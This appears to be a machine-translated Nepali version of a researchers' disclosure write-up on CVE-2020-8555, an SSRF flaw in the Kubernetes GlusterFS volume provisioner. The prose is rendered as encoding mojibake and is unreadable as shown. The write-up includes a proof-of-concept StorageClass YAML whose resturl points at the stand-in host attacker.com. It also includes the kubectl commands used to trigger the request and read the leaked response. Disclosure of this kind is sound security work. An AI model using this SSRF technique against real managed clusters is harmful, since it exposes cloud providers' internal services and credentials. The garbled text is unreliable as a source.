рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рдиреЛрдЯред рдЕрдиреБрд╡рд╛рджред: рдпрд╕ рд▓реЗрдЦрдХрд╛ рд▓реЗрдЦрдХрд╣рд░реВрд▓реЗ рдЙрдиреАрд╣рд░реВрд▓реЗ рдХрдордЬреЛрд░реА рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрди рдХрд╕рд░реА рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░реЗ рднрдиреНрдиреЗ рдмрд╛рд░реЗ рд╡рд┐рд╕реНрддреГрдд рд░реВрдкрдорд╛ рдХреБрд░рд╛ рдЧрд░реНрдЫрдиреН CVE-2020-8555 Kubernetes рдорд╛ред рдпрджреНрдпрдкрд┐ рд╕реБрд░реБрдорд╛ рдпреЛ рдзреЗрд░реИ рдЦрддрд░рдирд╛рдХ рджреЗрдЦрд┐рдПрди, рдЕрдиреНрдп рдХрд╛рд░рдХрд╣рд░реВрд╕рдБрдЧ рд╕рдВрдпреЛрдЬрдирдорд╛ рдпрд╕рдХреЛ рдЖрд▓реЛрдЪрдирд╛рддреНрдордХрддрд╛ рдХреЗрд╣реА рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдЕрдзрд┐рдХрддрдо рднрдпреЛред рдзреЗрд░реИ рд╕рдВрд╕реНрдерд╛рд╣рд░реВрд▓реЗ рдЙрджрд╛рд░рддрд╛рдкреВрд░реНрд╡рдХ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮрд╣рд░реВрд▓рд╛рдИ рдЙрдиреАрд╣рд░реВрдХреЛ рдХрд╛рдордХреЛ рд▓рд╛рдЧрд┐ рдкреБрд░рд╕реНрдХреГрдд рдЧрд░реЗред

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

рд╣рд╛рдореА рдХреЛ рд╣реМрдВ

рд╣рд╛рдореА рджреБрдИ рдлреНрд░рд╛рдиреНрд╕реЗрд▓реА рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХрд░реНрддрд╛ рд╣реМрдВ рдЬрд╕рд▓реЗ рд╕рдВрдпреБрдХреНрдд рд░реВрдкрдорд╛ Kubernetes рдорд╛ рдПрдХ рдЬреЛрдЦрд┐рдо рдкрддреНрддрд╛ рд▓рдЧрд╛рдПред рд╣рд╛рдореНрд░рд╛ рдирд╛рдорд╣рд░реВ рдмреНрд░рд┐рд╕ рдЕрдЧреНрд░рд╛рд╕ рд░ рдХреНрд░рд┐рд╕реНрдЯреЛрдл рд╣рд╛рдЙрдХреНрд╡рд┐рдПрд░реНрдЯ рд╣реБрдиреН, рддрд░ рдзреЗрд░реИ рдмрдЧ рдмрд╛рдЙрдиреНрдЯреА рдкреНрд▓реЗрдЯрдлрд░реНрдорд╣рд░реВрдорд╛ рд╣рд╛рдореА рдХреНрд░рдорд╢рдГ рд░рд┐рднрд░рдЬрд╛рдХреНрд╕ рд░ рд╣реНрдпрд╛рдЪ рднрдиреЗрд░ рдЪрд┐рдирд┐рдиреНрдЫреМрдВ:

рдХреЗ рднрдпреЛ?

рдпреЛ рд▓реЗрдЦ рд╕рд╛рдЭрд╛ рдЧрд░реНрдиреЗ рд╣рд╛рдореНрд░реЛ рддрд░рд┐рдХрд╛ рд╣реЛ рдХрд┐ рдХрд╕рд░реА рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЕрдиреБрд╕рдиреНрдзрд╛рди рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд░реВрдкрдорд╛ рдмрдЧ рд╢рд┐рдХрд╛рд░реАрд╣рд░реВрдХреЛ рдЬреАрд╡рдирдорд╛ рд╕рдмреИрднрдиреНрджрд╛ рд░реЛрдорд╛рдЮреНрдЪрдХ рд╕рд╛рд╣рд╕рд┐рдХ рдХрд╛рд░реНрдпрдорд╛ рдкрд░рд┐рдгрдд рднрдпреЛ (рдХрдореНрддреАрдорд╛ рдЕрд╣рд┐рд▓реЗрдХреЛ рд▓рд╛рдЧрд┐)ред

рддрдкрд╛рдИрд▓рд╛рдИ рдерд╛рд╣рд╛ рдЫ, рдмрдЧ рд╢рд┐рдХрд╛рд░реАрд╣рд░реВрд╕рдБрдЧ рдХреЗрд╣рд┐ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ рдЫрдиреН:

  • рддрд┐рдиреАрд╣рд░реВ рдкрд┐рдЬреНрдЬрд╛ рд░ рдмрд┐рдпрд░рдорд╛ рдмрд╛рдБрдЪреНрдЫрдиреН;
  • рдЕрд░реВ рд╕рдмреИ рд╕реБрддрд┐рд░рд╣реЗрдХреЛ рдмреЗрд▓рд╛ рддрд┐рдиреАрд╣рд░реВ рдХрд╛рдо рдЧрд░реНрдЫрдиреНред

рд╣рд╛рдореА рдпреА рдирд┐рдпрдорд╣рд░реВрдорд╛ рдХреБрдиреИ рдЕрдкрд╡рд╛рдж рдЫреИрдиреМрдВ: рд╣рд╛рдореА рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рд╕рдкреНрддрд╛рд╣рдиреНрддрдорд╛ рднреЗрдЯреНрдЫреМрдВ рд░ рдирд┐рджреНрд░рд╛ рдирд▓рд╛рдЧреЗрдХреЛ рд░рд╛рдд рд╣реНрдпрд╛рдХрд┐рдЩрдорд╛ рдмрд┐рддрд╛рдЙрдБрдЫреМрдВред рддрд░ рдпреА рд░рд╛рддрд╣рд░реВ рдордзреНрдпреЗ рдПрдХ рдзреЗрд░реИ рдЕрд╕рд╛рдорд╛рдиреНрдп рддрд░рд┐рдХрд╛рдорд╛ рд╕рдорд╛рдкреНрдд рднрдпреЛред

рд╕реБрд░реБрдорд╛ рд╣рд╛рдореА рд╕рд╣рднрд╛рдЧрд┐рддрд╛рдмрд╛рд░реЗ рдЫрд▓рдлрд▓ рдЧрд░реНрди рднреЗрдЯреНрдиреЗ рдерд┐рдпреМрдВ CTF рдЕрд░реНрдХреЛ рджрд┐рдиред рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ Kubernetes рд╕реБрд░рдХреНрд╖рд╛рдХреЛ рдмрд╛рд░реЗрдорд╛ рдХреБрд░рд╛рдХрд╛рдиреАрдХреЛ рдХреНрд░рдордорд╛, рд╣рд╛рдореАрд▓реЗ SSRF рдХреЛ рдкреБрд░рд╛рдиреЛ рд╡рд┐рдЪрд╛рд░ рд╕рдореНрдЭреНрдпреМрдВ (рд╕рд░реНрднрд░-рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдЬрд╛рд▓рд╕рд╛рдЬреА) рд░ рдпрд╕рд▓рд╛рдИ рдЖрдХреНрд░рдордг рд▓рд┐рдкрд┐рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░рд┐рдпреЛред

11 рдмрдЬреЗ рд╣рд╛рдореА рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдЧрд░реНрди рдмрд╕реНрдпреМрдВ рд░ рдирддрд┐рдЬрд╛рдмрд╛рдЯ рдзреЗрд░реИ рд╕рдиреНрддреБрд╖реНрдЯ рднрдПрд░ рдмрд┐рд╣рд╛рди рд╕рдмреЗрд░реИ рд╕реБрддреНрди рдЧрдпреМрдВред рдпреЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рд╣рд╛рдореАрд▓реЗ MSRC рдмрдЧ рдмрд╛рдЙрдиреНрдЯреА рдХрд╛рд░реНрдпрдХреНрд░рдо рднреЗрдЯреНрдЯрд╛рдпреМрдВ рд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рдЖрдПрдХрд╛ рдЫреМрдВред

рдзреЗрд░реИ рд╣рдкреНрддрд╛/рдорд╣рд┐рдирд╛ рдмрд┐рддреНрдпреЛ, рд░ рд╣рд╛рдореНрд░реЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдирддрд┐рдЬрд╛рд▓реЗ Azure Cloud рдмрдЧ рдмрд╛рдЙрдиреНрдЯреАрдХреЛ рдЗрддрд┐рд╣рд╛рд╕рдорд╛ рд╕рдмреИрднрдиреНрджрд╛ рдЙрдЪреНрдЪ рдкреБрд░рд╕реНрдХрд╛рд░рд╣рд░реВ рдордзреНрдпреЗ рдПрдЙрдЯрд╛рдорд╛ рдкрд░рд┐рдгрдд рдЧрд░реНтАНрдпреЛ - рд╣рд╛рдореАрд▓реЗ Kubernetes рдмрд╛рдЯ рдкреНрд░рд╛рдкреНрдд рдЧрд░реЗрдХреЛ рдПрдХ рдмрд╛рд╣реЗрдХ!

рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рди рдкрд░рд┐рдпреЛрдЬрдирд╛рдорд╛ тАЛтАЛрдЖрдзрд╛рд░рд┐рдд, Kubernetes рдЙрддреНрдкрд╛рджрди рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд┐рддрд┐ рдкреНрд░рдХрд╛рд╢рд┐рдд CVE-2020-8555.

рдЕрдм рдо рдлреЗрд▓рд╛ рдкрд░реЗрдХреЛ рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рд╕рдХреЗрд╕рдореНрдо рдлреИрд▓рд╛рдЙрди рдЪрд╛рд╣рдиреНрдЫреБред рд╣рд╛рдореА рдЖрд╢рд╛ рдЧрд░реНрджрдЫреМрдВ рдХрд┐ рддрдкрд╛рдИрдВрд▓реЗ рдлреЗрд▓рд╛ рдкрд╛рд░реНрдиреБ рднрдПрдХреЛрдорд╛ рдкреНрд░рд╢рдВрд╕рд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рдЗрдиреНрдлреЛрд╕реЗрдХ рд╕рдореБрджрд╛рдпрдХрд╛ рдЕрдиреНрдп рд╕рджрд╕реНрдпрд╣рд░реВрд╕рдБрдЧ рдкреНрд░рд╛рд╡рд┐рдзрд┐рдХ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рд╕рд╛рдЭрд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН!

рддреНрдпрд╕реИрд▓реЗ рдпрд╣рд╛рдБ рд╣рд╛рдореНрд░реЛ рдХрдерд╛ рдЫ ...

рдкреНрд░рд╕реНрдЧ

рдХреЗ рднрдпреЛ рднрдиреНрдиреЗ рдХреБрд░рд╛ рдмреБрдЭреНрдирдХреЛ рд▓рд╛рдЧрд┐, рдкрд╣рд┐рд▓реЗ Kubernetes рдХрд╕рд░реА рдХреНрд▓рд╛рдЙрдб рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рдХрд╛рдо рдЧрд░реНрдЫ рднрдиреЗрд░ рд╣реЗрд░реМрдВред

рдЬрдм рддрдкрд╛рдЗрдБ рдпрд╕реНрддреЛ рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ Kubernetes рдХреНрд▓рд╕реНрдЯрд░ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрдиреБрд╣реБрдиреНрдЫ, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рддрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЬрд┐рдореНрдореЗрд╡рд╛рд░реА рд╣реЛ:

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...
рдирд┐рдпрдиреНрддреНрд░рдг рддрд╣ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдкрд░рд┐рдзрд┐рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫ, рдЬрдмрдХрд┐ Kubernetes рдиреЛрдбрд╣рд░реВ рдЧреНрд░рд╛рд╣рдХрдХреЛ рдкрд░рд┐рдзрд┐рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫрдиреНред

рдЧрддрд┐рд╢реАрд▓ рд░реВрдкрдорд╛ рднреЛрд▓реНрдпреБрдорд╣рд░реВ рдЖрд╡рдВрдЯрд┐рдд рдЧрд░реНрди, рдмрд╛рд╣реНрдп рднрдгреНрдбрд╛рд░рдг рдмреНрдпрд╛рдХрдЗрдиреНрдбрдмрд╛рдЯ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ рдЧрддрд┐рд╢реАрд▓ рд░реВрдкрдорд╛ рдкреНрд░рд╛рд╡рдзрд╛рди рдЧрд░реНрди рд░ PVC (рдирд┐рд░рдиреНрддрд░ рднреЛрд▓реНрдпреБрдо рджрд╛рдмреА, рдЕрд░реНрдерд╛рддреН рднреЛрд▓реНрдпреБрдордХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреБрд░реЛрдз) рд╕рдБрдЧ рддреБрд▓рдирд╛ рдЧрд░реНрди рдПрдХ рд╕рдВрдпрдиреНрддреНрд░ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред

рдпрд╕рд░реА, PVC рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░рд┐рд╕рдХреЗрдкрдЫрд┐ рд░ K8s рдХреНрд▓рд╕реНрдЯрд░рдорд╛ StorageClass рдорд╛ рдмрд╛рдБрдзрд┐рдПрдкрдЫрд┐, рднреЛрд▓реНрдпреБрдо рдкреНрд░рджрд╛рди рдЧрд░реНрди рдердк рдХрд╛рд░реНрдпрд╣рд░реВ kube/рдХреНрд▓рд╛рдЙрдб рдирд┐рдпрдиреНрддреНрд░рдХ рдкреНрд░рдмрдиреНрдзрдХрджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЗрдиреНрдЫ (рдпрд╕рдХреЛ рд╕рд╣реА рдирд╛рдо рд░рд┐рд▓реАрдЬрдорд╛ рдирд┐рд░реНрднрд░ рдЧрд░реНрджрдЫ)ред (рдиреЛрдЯред рдЕрдиреБрд╡рд╛рджред: рд╣рд╛рдореАрд▓реЗ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВ рдордзреНрдпреЗ рдПрдХрдХреЛ рд▓рд╛рдЧрд┐ рдпрд╕рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирдХреЛ рдЙрджрд╛рд╣рд░рдг рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ CCM рдмрд╛рд░реЗ рдердк рд▓реЗрдЦреЗрдХрд╛ рдЫреМрдВ рдпрд╣рд╛рдБ.)

рддреНрдпрд╣рд╛рдБ Kubernetes рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдзреЗрд░реИ рдкреНрд░рдХрд╛рд░рдХрд╛ рдкреНрд░рд╛рд╡рдзрд╛рдирд╣рд░реВ рдЫрдиреН: рддреА рдордзреНрдпреЗ рдзреЗрд░реИ рд╕рдорд╛рд╡реЗрд╢ рдЫрдиреН рдЕрд░реНрдХреЗрд╕реНрдЯреНрд░реЗрдЯрд░ рдХреЛрд░, рдЬрдмрдХрд┐ рдЕрдиреНрдпрд╣рд░реВ рдХреНрд▓рд╕реНрдЯрд░рдорд╛ рдкреЛрдбрд╣рд░реВрдорд╛ рд░рд╛рдЦрд┐рдПрдХрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рд╛рд╡рдзрд╛рдирдХрд░реНрддрд╛рд╣рд░реВрджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╣реБрдиреНрдЫрдиреНред

рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдорд╛, рд╣рд╛рдореАрд▓реЗ рдЖрдиреНрддрд░рд┐рдХ рднреЛрд▓реНрдпреБрдо рдкреНрд░рд╛рд╡рдзрд╛рди рд╕рдВрдпрдиреНрддреНрд░рдорд╛ рдзреНрдпрд╛рди рдХреЗрдиреНрджреНрд░рд┐рдд рдЧрд░реНрдпреМрдВ, рдЬреБрди рддрд▓ рдЪрд┐рддреНрд░рдг рдЧрд░рд┐рдПрдХреЛ рдЫ:

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...
рдмрд┐рд▓реНрдЯ-рдЗрди Kubernetes рдкреНрд░реЛрднрд┐рдЬрдирд░ рдкреНрд░рдпреЛрдЧ рдЧрд░реА рднреЛрд▓реНрдпреБрдорд╣рд░реВрдХреЛ рдЧрддрд┐рд╢реАрд▓ рдкреНрд░рд╛рд╡рдзрд╛рди

рдЫреЛрдЯрдХрд░реАрдорд╛, рдЬрдм Kubernetes рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╡рд╛рддрд╛рд╡рд░рдгрдорд╛ рддреИрдирд╛рдд рд╣реБрдиреНрдЫ, рдирд┐рдпрдиреНрддреНрд░рдХ рдкреНрд░рдмрдиреНрдзрдХ рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЬрд┐рдореНрдореЗрд╡рд╛рд░реА рд╣реЛ, рддрд░ рднреЛрд▓реНрдпреБрдо рд╕рд┐рд░реНрдЬрдирд╛ рдЕрдиреБрд░реЛрдз (рдорд╛рдерд┐рдХреЛ рд░реЗрдЦрд╛рдЪрд┐рддреНрд░рдорд╛ рдирдореНрдмрд░ 3) рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЖрдиреНрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдЫреЛрдбреНрдЫред рд░ рдпреЛ рдЬрд╣рд╛рдБ рдЪреАрдЬрд╣рд░реВ рд╕рд╛рдБрдЪреНрдЪреИ рд░реЛрдЪрдХ рд╣реБрдиреНрдЫрдиреН!

рд╣реНрдпрд╛рдХрд┐рдЩ рдкрд░рд┐рджреГрд╢реНрдп

рдпрд╕ рдЦрдгреНрдбрдорд╛, рд╣рд╛рдореАрд▓реЗ рдорд╛рдерд┐ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣рдХреЛ рдлрд╛рдЗрджрд╛ рдХрд╕рд░реА рд▓рд┐рдпреМрдВ рд░ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрдХреЛ рдЖрдиреНрддрд░рд┐рдХ рд╕реНрд░реЛрддрд╣рд░реВ рдкрд╣реБрдБрдЪ рдЧрд░реНрдпреМрдВ рднрдиреЗрд░ рд╡рд░реНрдгрди рдЧрд░реНрдиреЗрдЫреМрдВред рдпрд╕рд▓реЗ рддрдкрд╛рдЗрдБрд▓рд╛рдИ рдХрд╕рд░реА рдХреЗрд╣рд┐ рдХрд╛рд░реНрдпрд╣рд░реВ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ рднрдиреЗрд░ рджреЗрдЦрд╛рдЙрдиреЗрдЫ, рдЬрд╕реНрддреИ рдЖрдиреНрддрд░рд┐рдХ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рд╡рд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд╣рд░реВ рдмрдврд╛рдЙрдиреЗред

рдПрдЙрдЯрд╛ рд╕рд╛рдзрд╛рд░рдг рд╣реЗрд░рдлреЗрд░ (рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рд╕реЗрд╡рд╛ рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдЬрд╛рд▓рд╕рд╛рдЬреА) рд▓реЗ рдХреНрд▓рд╛рдЗрдиреНрдЯ рд╡рд╛рддрд╛рд╡рд░рдг рднрдиреНрджрд╛ рдмрд╛рд╣рд┐рд░ рд╡реНрдпрд╡рд╕реНрдерд┐рдд K8s рдЕрдиреНрддрд░реНрдЧрдд рд╡рд┐рднрд┐рдиреНрди рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрд╣рд░реВрдХреЛ рдХреНрд▓рд╕реНрдЯрд░рд╣рд░реВрдорд╛ рдЬрд╛рди рдорджреНрджрдд рдЧрд░реНрдпреЛред

рд╣рд╛рдореНрд░реЛ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдорд╛ рд╣рд╛рдореАрд▓реЗ GlusterFS рдкреНрд░рджрд╛рдпрдХрдорд╛ рдзреНрдпрд╛рди рдХреЗрдиреНрджреНрд░рд┐рдд рдЧрд░реНрдпреМрдВред рдпрд╕ рд╕рдиреНрджрд░реНрднрдорд╛ рдХрд╛рд░реНрдпрд╣рд░реВрдХреЛ рдердк рдЕрдиреБрдХреНрд░рдо рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рддрдереНрдпрдХреЛ рдмрд╛рд╡рдЬреБрдж, Quobyte, StorageOS рд░ ScaleIO рдЙрд╣реА рдЬреЛрдЦрд┐рдордХреЛ рд▓рд╛рдЧрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЫрдиреНред

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...
рдЧрддрд┐рд╢реАрд▓ рднреЛрд▓реНрдпреБрдо рдкреНрд░рд╛рд╡рдзрд╛рди рд╕рдВрдпрдиреНрддреНрд░рдХреЛ рджреБрд░реБрдкрдпреЛрдЧ

рднрдгреНрдбрд╛рд░рдг рдХрдХреНрд╖рд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдгрдХреЛ рдХреНрд░рдордорд╛ GlusterFS Golang рдЧреНрд░рд╛рд╣рдХ рд╕реНрд░реЛрдд рдХреЛрдб рдорд╛ рд╣рд╛рдореА рд╕реБрдЪрд┐рддрдЬреБрди рдкрд╣рд┐рд▓реЛ HTTP рдЕрдиреБрд░реЛрдз (3) рдорд╛ рднреЛрд▓реНрдпреБрдо рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрджрд╛, рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдорд╛ рдЕрдиреБрдХреВрд▓рди URL рдХреЛ рдЕрдиреНрддреНрдпрдорд╛ рдкрдард╛рдЗрдпреЛ resturl рдердкрд┐рдпреЛ /volumes.

рд╣рд╛рдореАрд▓реЗ рдердкреЗрд░ рдпреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдорд╛рд░реНрдЧрдмрд╛рдЯ тАЛтАЛрдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдЙрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрдпреМрдВ # рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рдорд╛ resturlред рдпрд╣рд╛рдБ рдкрд╣рд┐рд▓реЛ YAML рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рд╣реЛ рдЬреБрди рд╣рд╛рдореАрд▓реЗ рдЕрд░реНрдз-рдЕрдиреНрдзрд╛ SSRF рдЬреЛрдЦрд┐рдордХреЛ рд▓рд╛рдЧрд┐ рдкрд░реАрдХреНрд╖рдг рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдпреМрдВред (рддрдкрд╛рдИрдВ рдЕрд░реНрдз-рдЕрдиреНрдзрд╛ рд╡рд╛ рдЕрд░реНрдз-рдЕрдиреНрдзреЛ SSRF рдмрд╛рд░реЗ рдердк рдкрдвреНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдпрд╣рд╛рдБ - рд▓рдЧрднрдЧред рдЕрдиреБрд╡рд╛рджред):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

рддреНрдпрд╕рдкрдЫрд┐ рд╣рд╛рдореАрд▓реЗ рдХреБрдмреЗрд░рдиреЗрдЯ рдХреНрд▓рд╕реНрдЯрд░рд▓рд╛рдИ рдЯрд╛рдврд╛рдмрд╛рдЯ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрди рдЧрд░реНрди рдмрд╛рдЗрдирд░реА рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдпреМрдВ kubectlред рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛, рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рдпрдХрд╣рд░реВ (Azure, Google, AWS, рдЖрджрд┐) рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдпреЛ рдЙрдкрдпреЛрдЧрд┐рддрд╛рдорд╛ рдкреНрд░рдпреЛрдЧрдХреЛ рд▓рд╛рдЧрд┐ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред

рдпрд╕рдХрд╛ рд▓рд╛рдЧрд┐ рдзрдиреНрдпрд╡рд╛рдж, рдо рдореЗрд░реЛ "рд╡рд┐рд╢реЗрд╖" рдлрд╛рдЗрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрд╖рдо рднрдПрдБред рдХреБрдмреЗ-рдирд┐рдпрдиреНрддреНрд░рдХ-рдкреНрд░рдмрдиреНрдзрдХрд▓реЗ рдирддрд┐рдЬрд╛ HTTP рдЕрдиреБрд░реЛрдз рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдпреЛ:

kubectl create -f sc-poc.yaml

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...
рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рджреГрд╖реНрдЯрд┐рдХреЛрдгрдмрд╛рдЯ рдЬрд╡рд╛рдл

рдпрд╕рдХреЛ рдХреЗрд╣реА рд╕рдордп рдкрдЫрд┐, рд╣рд╛рдореАрд▓реЗ рд▓рдХреНрд╖рд┐рдд рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдорд╛рд░реНрдлрдд HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХреНрд╖рдо рднрдпреМрдВ describe pvc рд╡рд╛ get events kubectl рдорд╛ред рд░ рд╕рд╛рдБрдЪреНрдЪреИ: рдпреЛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд Kubernetes рдбреНрд░рд╛рдЗрднрд░ рдпрд╕рдХреЛ рдЪреЗрддрд╛рд╡рдиреА/рддреНрд░реБрдЯрд┐ рд╕рдиреНрджреЗрд╢рд╣рд░реВрдорд╛ рдзреЗрд░реИ рд╡рд░реНрдмреЛрд╕ рдЫ...

рдпрд╣рд╛рдБ рд▓рд┐рдЩреНрдХ рд╕рдВрдЧ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЫ https://www.google.frрдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рд╕реЗрдЯ рдЧрд░реНрдиреБрд╣реЛрд╕реН resturl:

kubectl describe pvc poc-ssrf
# ╨╕╨╗╨╕ ╨╢╨╡ ╨╝╨╛╨╢╨╡╤В╨╡ ╨▓╨╛╤Б╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╤М╤Б╤П kubectl get events

рдЬрдм рдпреЛ Kubernetes рдХрдордЬреЛрд░реАрд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди ...

